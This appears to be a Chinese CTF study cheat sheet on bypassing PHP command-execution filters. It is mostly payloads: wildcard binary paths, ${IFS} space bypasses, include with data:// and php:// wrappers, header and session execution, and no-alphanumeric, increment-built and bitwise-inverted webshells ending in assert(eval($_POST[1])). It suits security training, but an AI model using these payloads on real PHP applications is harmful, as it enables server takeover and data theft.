之前做了一大堆的题目 都没有进行总结 现在来总结一下命令执行 我遇到的内容
这里我打算按照过滤进行总结
依据我做过的题目
过滤system
下面是一些常见的命令执行内容
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 过滤cat
有的题目不让我们读取
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示，可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl：显示的时候，顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器，这个也可以查看
vim:一种编辑器，这个也可以查看
sort:可以查看
paste：可以输出内容如果这些也过滤 但是题目是直接给我们一个小马
/bin/?at flag.txt
下面是通过base64返回
如果特别极端 过滤字母
/???/????64 ????.???
我们可以通过base64返回内容
或者使用
/???/???/????2 ????.???
/usr/bin/bzip2
这个会进行压缩 然后我们访问根目录的 /flag.php.bz2 即可可以通过这种方式执行 bin下存放着我们许多的命令
过滤空格
${IFS}
$IFS$9
<
<>
%0a
%09通过__FILE__获取
__FILE__
表示当前文件
完整路径和文件名
dirname()
获取一个网站路径的目录名
scandir()
读取目录的文件 然后作为一个数组
print_r()
打印数组内容
localeconv()
可以获取到 当前的数学符号
current()
指定第一个
array_reverse()
倒序输出
如果print_r被过滤
可以使用highlight_file
next()
指向当前指针的下一位
end()
指向数组最后一位
reset()
指向数组第一个
prev()
指针往回走一位
each()
返回当前指针的值 并且指针向前走一位通过seesion执行命令
print_r(session_id(session_start()))
Cookie: PHPSESSID=flag.php通过请求头执行命令
system(current(getallheaders()));通过构造新参数执行命令
很多时候 一些读取什么的全都没了 我们无法实现读取文件
这个时候 我们可以在小马中再加一个小马实现其他参数的注入
code=include$_GET[1]?>&1=system('ls')
code=show_source(get_defined_vars()["_POST"]["a"])&a=/flaggggggg.txt
code=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
code=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
协议读取
如果题目使用了include类型
data://text/plain,<?php system('tac fla?.php');?>
data://text/plain;bvase64,base64加密后的命令我们就可以使用伪协议来执行命令
绕过open_basedr
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
短开表达式
data://text/plain,<?=system('tac fla?.?hp');?>通过POST文件 包含/tmp/临时文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://cd3eb1d9-31ec-4644-b057-c38153f6a911.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名：</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>这里向网站发包
然后通过正则匹配获取到文件
?c=.+/???/????????[@-[]
上传文件的内容如图所示
只过滤数字 getshell
${_} 返回上一条命令
$(())
echo $((${_})) 0
echo $((~${_})) -1
echo $(($((~${_}))$((~${_})))) -2
echo $(($((~${_}))$((~${_}))$((~${_})))) -3
最后拼凑出来了数字后
使用一个取反 将 负数变为正数
echo $((~$(($((~${_}))$((~${_}))$((~${_})))))) 2
取反会小一位 然后再加一位即可
echo $((~$(($((~${_}))$((~${_}))$((~${_}))$((~${_})))))) 3高亮文件
highlight_file()
show_source()
var_dump()
var_export()
配合include无数字字母RCE
不能加参数
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)不能加参数的rce
eval(hex2bin(session_id(session_start())));
print_r(current(get_defined_vars()));&b=phpinfo();
eval(next(getallheaders()));
var_dump(getenv(phpinfo()));
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件自增
如果过滤取反这些符号 就考虑自增
直接payload
assert($_POST[_]);
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);然后通过url编码
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b'!'%3d%3d'%40'%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d'_'%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b取反
<?php
$c='phpinfo';
$d=urlencode(~$c);
echo $d;
?>
payload
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
eval($_POST[1])现在目前学到的RCE 就总结在这里了 如果后面还存在 就继续加进去
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